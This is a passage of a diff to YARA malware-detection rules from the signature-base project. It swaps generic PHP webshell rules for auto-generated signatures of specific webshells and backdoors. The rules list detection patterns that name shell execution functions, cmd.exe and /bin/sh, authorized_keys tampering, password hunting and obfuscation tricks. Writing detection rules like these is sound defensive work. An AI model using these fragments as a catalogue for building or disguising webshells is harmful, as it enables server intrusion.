-		$cpayload6 = /\bpopen[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload7 = /\bproc_open[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload8 = /\bpcntl_exec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload9 = /\bassert[\n\t ]{0,500}\([^)0]/ nocase wide ascii
-		$cpayload10 = /\bpreg_replace[\n\t ]{0,500}\([^\)]{1,100}\/[ismxADSUXju]{0,11}(e|\\x65)/ nocase wide ascii
-		$cpayload12 = /\bmb_ereg_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
-		$cpayload13 = /\bmb_eregi_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
-		$cpayload20 = /\bcreate_function[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload21 = /\bReflectionFunction[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload22 = /fetchall\(PDO::FETCH_FUNC[\n\t ]{0,500}[,}\)]/ nocase wide ascii
-		$m_cpayload_preg_filter1 = /\bpreg_filter[\n\t ]{0,500}(\([^\)]|\/\*)/ nocase wide ascii
-		$m_cpayload_preg_filter2 = "'|.*|e'" nocase wide ascii
-		$cobfs1 = "gzinflate" fullword nocase wide ascii
-		$cobfs2 = "gzuncompress" fullword nocase wide ascii
-		$cobfs3 = "gzdecode" fullword nocase wide ascii
-		$cobfs4 = "base64_decode" fullword nocase wide ascii
-		$cobfs5 = "pack" fullword nocase wide ascii
-		$cobfs6 = "undecode" fullword nocase wide ascii
-		$gen_bit_sus1 = /:\s{0,20}eval}/ nocase wide ascii
-		$gen_bit_sus2 = /\.replace\(\/\w\/g/ nocase wide ascii
-		$gen_bit_sus6 = "self.delete"
-		$gen_bit_sus9 = "\"cmd /c" nocase
-		$gen_bit_sus10 = "\"cmd\"" nocase
-		$gen_bit_sus11 = "\"cmd.exe" nocase
-		$gen_bit_sus12 = "%comspec%" wide ascii
-		$gen_bit_sus13 = "%COMSPEC%" wide ascii
-		$gen_bit_sus18 = "Hklm.GetValueNames();" nocase
-		$gen_bit_sus19 = "http://schemas.microsoft.com/exchange/" wide ascii
-		$gen_bit_sus21 = "\"upload\"" wide ascii
-		$gen_bit_sus22 = "\"Upload\"" wide ascii
-		$gen_bit_sus23 = "UPLOAD" fullword wide ascii
-		$gen_bit_sus24 = "fileupload" wide ascii
-		$gen_bit_sus25 = "file_upload" wide ascii
-		$gen_bit_sus29 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" fullword wide ascii
-		$gen_bit_sus29b = "abcdefghijklmnopqrstuvwxyz234567" fullword wide ascii
-		$gen_bit_sus30 = "serv-u" wide ascii
-		$gen_bit_sus31 = "Serv-u" wide ascii
-		$gen_bit_sus32 = "Army" fullword wide ascii
-		$gen_bit_sus33 = /\$_(GET|POST|REQUEST)\["\w"\]/ fullword wide ascii
-		$gen_bit_sus34 = "Content-Transfer-Encoding: Binary" wide ascii
-		$gen_bit_sus35 = "crack" fullword wide ascii
-		$gen_bit_sus44 = "<pre>" wide ascii
-		$gen_bit_sus45 = "<PRE>" wide ascii
-		$gen_bit_sus46 = "shell_" wide ascii
-		$gen_bit_sus50 = "bypass" wide ascii
-		$gen_bit_sus52 = " ^ $" wide ascii
-		$gen_bit_sus53 = ".ssh/authorized_keys" wide ascii
-		$gen_bit_sus55 = /\w'\.'\w/ wide ascii
-		$gen_bit_sus56 = /\w\"\.\"\w/ wide ascii
-		$gen_bit_sus57 = "dumper" wide ascii
-		$gen_bit_sus59 = "'cmd'" wide ascii
-		$gen_bit_sus60 = "\"execute\"" wide ascii
-		$gen_bit_sus61 = "/bin/sh" wide ascii
-		$gen_bit_sus62 = "Cyber" wide ascii
-		$gen_bit_sus63 = "portscan" fullword wide ascii
-		$gen_bit_sus66 = "whoami" fullword wide ascii
-		$gen_bit_sus67 = "$password='" fullword wide ascii
-		$gen_bit_sus68 = "$password=\"" fullword wide ascii
-		$gen_bit_sus69 = "$cmd" fullword wide ascii
-		$gen_bit_sus70 = "\"?>\"." fullword wide ascii
-		$gen_bit_sus71 = "Hacking" fullword wide ascii
-		$gen_bit_sus72 = "hacking" fullword wide ascii
-		$gen_bit_sus73 = ".htpasswd" wide ascii
-		$gen_bit_sus74 = /\btouch\(\$[^,]{1,30},/ wide ascii
-		$gen_much_sus7 = "Web Shell" nocase
-		$gen_much_sus8 = "WebShell" nocase
-		$gen_much_sus3 = "hidded shell"
-		$gen_much_sus4 = "WScript.Shell.1" nocase
-		$gen_much_sus5 = "AspExec"
-		$gen_much_sus14 = "\\pcAnywhere\\" nocase
-		$gen_much_sus15 = "antivirus" nocase
-		$gen_much_sus16 = "McAfee" nocase
-		$gen_much_sus17 = "nishang"
-		$gen_much_sus18 = "\"unsafe" fullword wide ascii
-		$gen_much_sus19 = "'unsafe" fullword wide ascii
-		$gen_much_sus24 = "exploit" fullword wide ascii
-		$gen_much_sus25 = "Exploit" fullword wide ascii
-		$gen_much_sus26 = "TVqQAAMAAA" wide ascii
-		$gen_much_sus30 = "Hacker" wide ascii
-		$gen_much_sus31 = "HACKED" fullword wide ascii
-		$gen_much_sus32 = "hacked" fullword wide ascii
-		$gen_much_sus33 = "hacker" wide ascii
-		$gen_much_sus34 = "grayhat" nocase wide ascii
-		$gen_much_sus35 = "Microsoft FrontPage" wide ascii
-		$gen_much_sus36 = "Rootkit" wide ascii
-		$gen_much_sus37 = "rootkit" wide ascii
-		$gen_much_sus38 = "/*-/*-*/" wide ascii
-		$gen_much_sus39 = "u\"+\"n\"+\"s" wide ascii
-		$gen_much_sus40 = "\"e\"+\"v" wide ascii
-		$gen_much_sus41 = "a\"+\"l\"" wide ascii
-		$gen_much_sus42 = "\"+\"(\"+\"" wide ascii
-		$gen_much_sus43 = "q\"+\"u\"" wide ascii
-		$gen_much_sus44 = "\"u\"+\"e" wide ascii
-		$gen_much_sus45 = "/*//*/" wide ascii
-		$gen_much_sus46 = "(\"/*/\"" wide ascii
-		$gen_much_sus47 = "eval(eval(" wide ascii
-		$gen_much_sus48 = "unlink(__FILE__)" wide ascii
-		$gen_much_sus49 = "Shell.Users" wide ascii
-		$gen_much_sus50 = "PasswordType=Regular" wide ascii
-		$gen_much_sus51 = "-Expire=0" wide ascii
-		$gen_much_sus60 = "_=$$_" wide ascii
-		$gen_much_sus61 = "_=$$_" wide ascii
-		$gen_much_sus62 = "++;$" wide ascii
-		$gen_much_sus63 = "++; $" wide ascii
-		$gen_much_sus64 = "_.=$_" wide ascii
-		$gen_much_sus70 = "-perm -04000" wide ascii
-		$gen_much_sus71 = "-perm -02000" wide ascii
-		$gen_much_sus72 = "grep -li password" wide ascii
-		$gen_much_sus73 = "-name config.inc.php" wide ascii
-		$gen_much_sus75 = "password crack" wide ascii
-		$gen_much_sus76 = "mysqlDll.dll" wide ascii
-		$gen_much_sus77 = "net user" wide ascii
-		$gen_much_sus80 = "fopen(\".htaccess\",\"w" wide ascii
-		$gen_much_sus81 = /strrev\(['"]/ wide ascii
-		$gen_much_sus82 = "PHPShell" fullword wide ascii
-		$gen_much_sus821 = "PHP Shell" fullword wide ascii
-		$gen_much_sus83 = "phpshell" fullword wide ascii
-		$gen_much_sus84 = "PHPshell" fullword wide ascii
-		$gen_much_sus87 = "deface" wide ascii
-		$gen_much_sus88 = "Deface" wide ascii
-		$gen_much_sus89 = "backdoor" wide ascii
-		$gen_much_sus90 = "r00t" fullword wide ascii
-		$gen_much_sus91 = "xp_cmdshell" fullword wide ascii
-		$gen_much_sus92 = "base64_decode(base64_decode(" fullword wide ascii
-		$gen_much_sus93 = "eval(\"/*" wide ascii
-		$gen_much_sus94 = "=$_COOKIE;" wide ascii
-		$gif = { 47 49 46 38 }
+		$s1 = "wangyong,czy,allen,lcx,Marcos,kEvin1986,myth"
+		$s8 = "System\\CurrentControlSet\\Control\\Keyboard Layouts\\%.8x"
+
+	condition:
+		all of them
+}
+rule SIGNATURE_BASE_Admin_Ad
+{
+	meta:
+		description = "Webshells Auto-generated - file admin-ad.asp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "7d87b4f6-3227-53cb-803c-4f9c7327f203"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7536-L7548"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "e6819b8f8ff2f1073f7d46a0b192f43b"
+		logic_hash = "0febd10979a959af73332a8e064a510e949109abf863b5fd0fef19b635968d1d"
+		score = 75
+		quality = 85
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+
+	strings:
+		$s6 = "<td align=\"center\"> <input name=\"cmd\" type=\"text\" id=\"cmd\" siz"
+		$s7 = "Response.write\"<a href='\"&url&\"?path=\"&Request(\"oldpath\")&\"&attrib=\"&attrib&\"'><"
 
 	condition:
-		((($php_short in (0..100) or $php_short in ( filesize -1000.. filesize )) and not any of ($no_*)) or any of ($php_new*)) and (( not any of ($cfp*) and ( any of ($callback*) or all of ($m_callback*))) or ( any of ($cpayload*) or all of ($m_cpayload_preg_filter*))) and ( any of ($cobfs*)) and ( filesize <1KB or ( filesize <3KB and (($gif at 0 or ( filesize <4KB and (1 of ($gen_much_sus*) or 2 of ($gen_bit_sus*))) or ( filesize <20KB and (2 of ($gen_much_sus*) or 3 of ($gen_bit_sus*))) or ( filesize <50KB and (2 of ($gen_much_sus*) or 4 of ($gen_bit_sus*))) or ( filesize <100KB and (2 of ($gen_much_sus*) or 6 of ($gen_bit_sus*))) or ( filesize <150KB and (3 of ($gen_much_sus*) or 7 of ($gen_bit_sus*))) or ( filesize <500KB and (4 of ($gen_much_sus*) or 8 of ($gen_bit_sus*)))) or #obf1>10)))
+		all of them
 }
-import "math"
-
-rule SIGNATURE_BASE_WEBSHELL_PHP_Includer_Eval : FILE
+rule SIGNATURE_BASE_FSO_S_Casus15
 {
 	meta:
-		description = "PHP webshell which eval()s another included file"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "995fcc34-f91e-5c9c-97b1-84eed1714d40"
-		date = "2021-01-13"
-		modified = "2023-04-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L1846-L1895"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3a07e9188028efa32872ba5b6e5363920a6b2489"
-		hash = "ab771bb715710892b9513b1d075b4e2c0931afb6"
-		hash = "202dbcdc2896873631e1a0448098c820c82bcc8385a9f7579a0dc9702d76f580"
-		hash = "b51a6d208ec3a44a67cce16dcc1e93cdb06fe150acf16222815333ddf52d4db8"
-		logic_hash = "a7e9632c495e5d4cc883e2593c8ebe41cdf6a18b54bd6dfd3aec85352f19321c"
+		description = "Webshells Auto-generated - file casus15.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "305842e4-26ad-573d-8df3-e32e239e434b"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7549-L7560"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "8d155b4239d922367af5d0a1b89533a3"
+		logic_hash = "58921290952f23ff5b828d8c92c818ebd91b726cdbbc9137b0f55a0e5ca90636"
 		score = 75
-		quality = 46
-		tags = "FILE"
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$payload1 = "eval" fullword wide ascii
-		$payload2 = "assert" fullword wide ascii
-		$include1 = "$_FILE" wide ascii
-		$include2 = "include" wide ascii
-		$php_short = "<?" wide ascii
-		$no_xml1 = "<?xml version" nocase wide ascii
-		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
-		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
-		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
-		$no_pdf = "<?xpacket"
-		$php_new1 = /<\?=[^?]/ wide ascii
-		$php_new2 = "<?php" nocase wide ascii
-		$php_new3 = "<script language=\"php" nocase wide ascii
+		$s6 = "if((is_dir(\"$deldir/$file\")) AND ($file!=\".\") AND ($file!=\"..\"))"
 
 	condition:
-		filesize <200 and ((($php_short in (0..100) or $php_short in ( filesize -1000.. filesize )) and not any of ($no_*)) or any of ($php_new*)) and 1 of ($payload*) and 1 of ($include*)
+		all of them
 }
-import "math"
-
-rule SIGNATURE_BASE_WEBSHELL_PHP_Includer_Tiny : FILE
+rule SIGNATURE_BASE_BIN_Client
 {
 	meta:
-		description = "Suspicious: Might be PHP webshell includer, check the included file"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "9bf96ddc-d984-57eb-9803-0b01890711b5"
-		date = "2021-04-17"
-		modified = "2023-07-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L1897-L1942"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0687585025f99596508783b891e26d6989eec2ba"
-		hash = "9e856f5cb7cb901b5003e57c528a6298341d04dc"
-		hash = "b3b0274cda28292813096a5a7a3f5f77378b8905205bda7bb7e1a679a7845004"
-		logic_hash = "e1efb6384009def30d845650fd0dd77319c3c7b4402cca074ca5c2a06372ab58"
+		description = "Webshells Auto-generated - file Client.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "515ab1b3-7923-55de-8c19-71ef5d9b4366"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7561-L7577"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "9f0a74ec81bc2f26f16c5c172b80eca7"
+		logic_hash = "e1277f6b7adc2e832a3aad96c7e44796596d2e61eb9247977da3c3569777e0b2"
 		score = 75
-		quality = 42
-		tags = "FILE"
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$php_include1 = /include\(\$_(GET|POST|REQUEST)\[/ nocase wide ascii
-		$php_short = "<?" wide ascii
-		$no_xml1 = "<?xml version" nocase wide ascii
-		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
-		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
-		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
-		$no_pdf = "<?xpacket"
-		$php_new1 = /<\?=[^?]/ wide ascii
-		$php_new2 = "<?php" nocase wide ascii
-		$php_new3 = "<script language=\"php" nocase wide ascii
+		$s0 = "=====Remote Shell Closed====="
+		$s2 = "All Files(*.*)|*.*||"
+		$s6 = "WSAStartup Error!"
+		$s7 = "SHGetFileInfoA"
+		$s8 = "CreateThread False!"
+		$s9 = "Port Number Error"
 
 	condition:
-		filesize <100 and ((($php_short in (0..100) or $php_short in ( filesize -1000.. filesize )) and not any of ($no_*)) or any of ($php_new*)) and any of ($php_include*)
+		4 of them
 }
-import "math"
-
-rule SIGNATURE_BASE_WEBSHELL_PHP_Dynamic : FILE
+rule SIGNATURE_BASE_Shelltools_G0T_Root_Uptime
 {
 	meta:
-		description = "PHP webshell using function name from variable, e.g. $a='ev'.'al'; $a($code)"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "58ad94bc-93c8-509c-9d3a-c9a26538d60c"
-		date = "2021-01-13"
-		modified = "2023-10-06"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L1944-L2016"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "65dca1e652d09514e9c9b2e0004629d03ab3c3ef"
-		hash = "b8ab38dc75cec26ce3d3a91cb2951d7cdd004838"
-		hash = "c4765e81550b476976604d01c20e3dbd415366df"
-		hash = "2e11ba2d06ebe0aa818e38e24a8a83eebbaae8877c10b704af01bf2977701e73"
-		logic_hash = "5eb0a574852163008d7bd9bd4822248fdc6bd333bc38715201ea346e07a2e75c"
-		score = 60
-		quality = -131
-		tags = "FILE"
+		description = "Webshells Auto-generated - file uptime.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "4f649757-9502-5640-bc17-11cad6c779f4"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7578-L7593"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d1f56102bc5d3e2e37ab3ffa392073b9"
+		logic_hash = "5d91dda859a63a965250bd4d76565c6adf18e4ee306be3b91965e5d35bc521e8"
+		score = 75
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$pd_fp1 = "whoops_add_stack_frame" wide ascii
-		$pd_fp2 = "new $ec($code, $mode, $options, $userinfo);" wide ascii
-		$pd_fp3 = "($i)] = 600;" ascii
-		$php_short = "<?" wide ascii
-		$no_xml1 = "<?xml version" nocase wide ascii
-		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
-		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
-		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
-		$no_pdf = "<?xpacket"
-		$php_new1 = /<\?=[^?]/ wide ascii
-		$php_new2 = "<?php" nocase wide ascii
-		$php_new3 = "<script language=\"php" nocase wide ascii
-		$dynamic1 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\(\$/ wide ascii
-		$dynamic2 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\("/ wide ascii
-		$dynamic3 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\('/ wide ascii
-		$dynamic4 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\(str/ wide ascii
-		$dynamic5 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\(\)/ wide ascii
-		$dynamic6 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\(@/ wide ascii
-		$dynamic7 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\(base64_decode/ wide ascii
-		$dynamic8 = /\$\{[^}]{1,20}}(\[[^\]]{1,20}\])?\(\$\{/ wide ascii
-		$fp1 = { 3C 3F 70 68 70 0A 0A 24 61 28 24 62 20 3D 20 33 2C 20 24 63 29 3B }
-		$fp2 = { 3C 3F 70 68 70 0A 0A 24 61 28 24 62 20 3D 20 33 2C 20 2E 2E 2E 20 24 63 29 3B }
-		$fp3 = { 3C 3F 70 68 70 0A 0A 24 61 20 3D 20 6E 65 77 20 73 74 61 74 69 63 3A 3A 24 62 28 29 3B}
-		$fp4 = { 3C 3F 70 68 70 0A 0A 24 61 20 3D 20 6E 65 77 20 73 65 6C 66 3A 3A 24 62 28 29 3B }
-		$fp5 = { 3C 3F 70 68 70 0A 0A 24 61 20 3D 20 5C 22 7B 24 76 61 72 43 61 6C 6C 61 62 6C 65 28 29 7D 5C 22 3B }
-		$fp6 = "// TODO error about missing expression"
-		$fp7 = "// This is an invalid location for an attribute, "
-		$fp8 = "/* Auto-generated from php/php-langspec tests */"
+		$s0 = "JDiamondCSlC~"
+		$s1 = "CharactQA"
+		$s2 = "$Info: This file is packed with the UPX executable packer $"
+		$s5 = "HandlereateConso"
+		$s7 = "ION\\System\\FloatingPo"
 
 	condition:
-		filesize >20 and filesize <200 and ((($php_short in (0..100) or $php_short in ( filesize -1000.. filesize )) and not any of ($no_*)) or any of ($php_new*)) and ( any of ($dynamic*)) and not any of ($pd_fp*) and not 1 of ($fp*)
+		all of them
 }
-import "math"
-
-rule SIGNATURE_BASE_WEBSHELL_PHP_Dynamic_Big : FILE
+rule SIGNATURE_BASE_Simple_PHP_Backdoor
 {
 	meta:
-		description = "PHP webshell using $a($code) for kind of eval with encoded blob to decode, e.g. b374k"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "a5caab93-7b94-59d7-bbca-f9863e81b9e5"
-		date = "2021-02-07"
-		modified = "2024-02-23"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L2018-L2335"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "6559bfc4be43a55c6bb2bd867b4c9b929713d3f7f6de8111a3c330f87a9b302c"
-		hash = "9e82c9c2fa64e26fd55aa18f74759454d89f968068d46b255bd4f41eb556112e"
-		hash = "6def5296f95e191a9c7f64f7d8ac5c529d4a4347ae484775965442162345dc93"
-		hash = "dadfdc4041caa37166db80838e572d091bb153815a306c8be0d66c9851b98c10"
-		hash = "0a4a292f6e08479c04e5c4fdc3857eee72efa5cd39db52e4a6e405bf039928bd"
-		hash = "4326d10059e97809fb1903eb96fd9152cc72c376913771f59fa674a3f110679e"
-		hash = "b49d0f942a38a33d2b655b1c32ac44f19ed844c2479bad6e540f69b807dd3022"
-		hash = "575edeb905b434a3b35732654eedd3afae81e7d99ca35848c509177aa9bf9eef"
-		hash = "ee34d62e136a04e2eaf84b8daa12c9f2233a366af83081a38c3c973ab5e2c40f"
-		logic_hash = "9e033789ab2f3d28bf48d8102edf51daf84a1d61d50cd59f3810be7c07a8e8d9"
-		score = 50
-		quality = -486
-		tags = "FILE"
+		description = "Webshells Auto-generated - file Simple_PHP_BackDooR.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "bd7c19b9-e035-5e70-b626-1d210cadc055"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7594-L7607"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a401132363eecc3a1040774bec9cb24f"
+		logic_hash = "9739217c23f583452fbf1d7a8e20b2f1379ebf430e0a4fd73ad62e88d544670a"
+		score = 75
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$dex = { 64 65 ( 78 | 79 ) 0a 30 }
-		$pack = { 50 41 43 4b 00 00 00 02 00 }
-		$new_php2 = "<?php" nocase wide ascii
-		$new_php3 = "<script language=\"php" nocase wide ascii
-		$php_short = "<?"
-		$dynamic1 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\(\$/ wide ascii
-		$dynamic2 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\("/ wide ascii
-		$dynamic3 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\('/ wide ascii
-		$dynamic4 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\(str/ wide ascii
-		$dynamic5 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\(\)/ wide ascii
-		$dynamic6 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\(@/ wide ascii
-		$dynamic7 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\(base64_decode/ wide ascii
-		$dynamic8 = "eval(" wide ascii
-		$gen_bit_sus1 = /:\s{0,20}eval}/ nocase wide ascii
-		$gen_bit_sus2 = /\.replace\(\/\w\/g/ nocase wide ascii
-		$gen_bit_sus6 = "self.delete"
-		$gen_bit_sus9 = "\"cmd /c" nocase
-		$gen_bit_sus10 = "\"cmd\"" nocase
-		$gen_bit_sus11 = "\"cmd.exe" nocase
-		$gen_bit_sus12 = "%comspec%" wide ascii
-		$gen_bit_sus13 = "%COMSPEC%" wide ascii
-		$gen_bit_sus18 = "Hklm.GetValueNames();" nocase
-		$gen_bit_sus19 = "http://schemas.microsoft.com/exchange/" wide ascii
-		$gen_bit_sus21 = "\"upload\"" wide ascii
-		$gen_bit_sus22 = "\"Upload\"" wide ascii
-		$gen_bit_sus23 = "UPLOAD" fullword wide ascii
-		$gen_bit_sus24 = "fileupload" wide ascii
-		$gen_bit_sus25 = "file_upload" wide ascii
-		$gen_bit_sus27 = "zuncomp" wide ascii
-		$gen_bit_sus28 = "ase6" wide ascii
-		$gen_bit_sus29 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" fullword wide ascii
-		$gen_bit_sus29b = "abcdefghijklmnopqrstuvwxyz234567" fullword wide ascii
-		$gen_bit_sus30 = "serv-u" wide ascii
-		$gen_bit_sus31 = "Serv-u" wide ascii
-		$gen_bit_sus32 = "Army" fullword wide ascii
-		$gen_bit_sus33 = /\$_(GET|POST|REQUEST)\["\w"\]/ fullword wide ascii
-		$gen_bit_sus34 = "Content-Transfer-Encoding: Binary" wide ascii
-		$gen_bit_sus35 = "crack" fullword wide ascii
-		$gen_bit_sus44 = "<pre>" wide ascii
-		$gen_bit_sus45 = "<PRE>" wide ascii
-		$gen_bit_sus46 = "shell_" wide ascii
-		$gen_bit_sus50 = "bypass" wide ascii
-		$gen_bit_sus52 = " ^ $" wide ascii
-		$gen_bit_sus53 = ".ssh/authorized_keys" wide ascii
-		$gen_bit_sus55 = /\w'\.'\w/ wide ascii
-		$gen_bit_sus56 = /\w\"\.\"\w/ wide ascii
-		$gen_bit_sus57 = "dumper" wide ascii
-		$gen_bit_sus59 = "'cmd'" wide ascii
-		$gen_bit_sus60 = "\"execute\"" wide ascii
-		$gen_bit_sus61 = "/bin/sh" wide ascii
-		$gen_bit_sus62 = "Cyber" wide ascii
-		$gen_bit_sus63 = "portscan" fullword wide ascii
-		$gen_bit_sus65 = "whoami" fullword wide ascii
-		$gen_bit_sus67 = "$password='" fullword wide ascii
-		$gen_bit_sus68 = "$password=\"" fullword wide ascii
-		$gen_bit_sus69 = "$cmd" fullword wide ascii
-		$gen_bit_sus70 = "\"?>\"." fullword wide ascii
-		$gen_bit_sus71 = "Hacking" fullword wide ascii
-		$gen_bit_sus72 = "hacking" fullword wide ascii
-		$gen_bit_sus73 = ".htpasswd" wide ascii
-		$gen_bit_sus74 = /\btouch\(\$[^,]{1,30},/ wide ascii
-		$gen_bit_sus99 = "$password = " wide ascii
-		$gen_bit_sus100 = "();$" wide ascii
-		$gen_much_sus7 = "Web Shell" nocase
-		$gen_much_sus8 = "WebShell" nocase
-		$gen_much_sus3 = "hidded shell"
-		$gen_much_sus4 = "WScript.Shell.1" nocase
-		$gen_much_sus5 = "AspExec"
-		$gen_much_sus14 = "\\pcAnywhere\\" nocase
-		$gen_much_sus15 = "antivirus" nocase
-		$gen_much_sus16 = "McAfee" nocase
-		$gen_much_sus17 = "nishang"
-		$gen_much_sus18 = "\"unsafe" fullword wide ascii
-		$gen_much_sus19 = "'unsafe" fullword wide ascii
-		$gen_much_sus24 = "exploit" fullword wide ascii
-		$gen_much_sus25 = "Exploit" fullword wide ascii
-		$gen_much_sus26 = "TVqQAAMAAA" wide ascii
-		$gen_much_sus30 = "Hacker" wide ascii
-		$gen_much_sus31 = "HACKED" fullword wide ascii
-		$gen_much_sus32 = "hacked" fullword wide ascii
-		$gen_much_sus33 = "hacker" wide ascii
-		$gen_much_sus34 = "grayhat" nocase wide ascii
-		$gen_much_sus35 = "Microsoft FrontPage" wide ascii
-		$gen_much_sus36 = "Rootkit" wide ascii
-		$gen_much_sus37 = "rootkit" wide ascii
-		$gen_much_sus38 = "/*-/*-*/" wide ascii
-		$gen_much_sus39 = "u\"+\"n\"+\"s" wide ascii
-		$gen_much_sus40 = "\"e\"+\"v" wide ascii
-		$gen_much_sus41 = "a\"+\"l\"" wide ascii
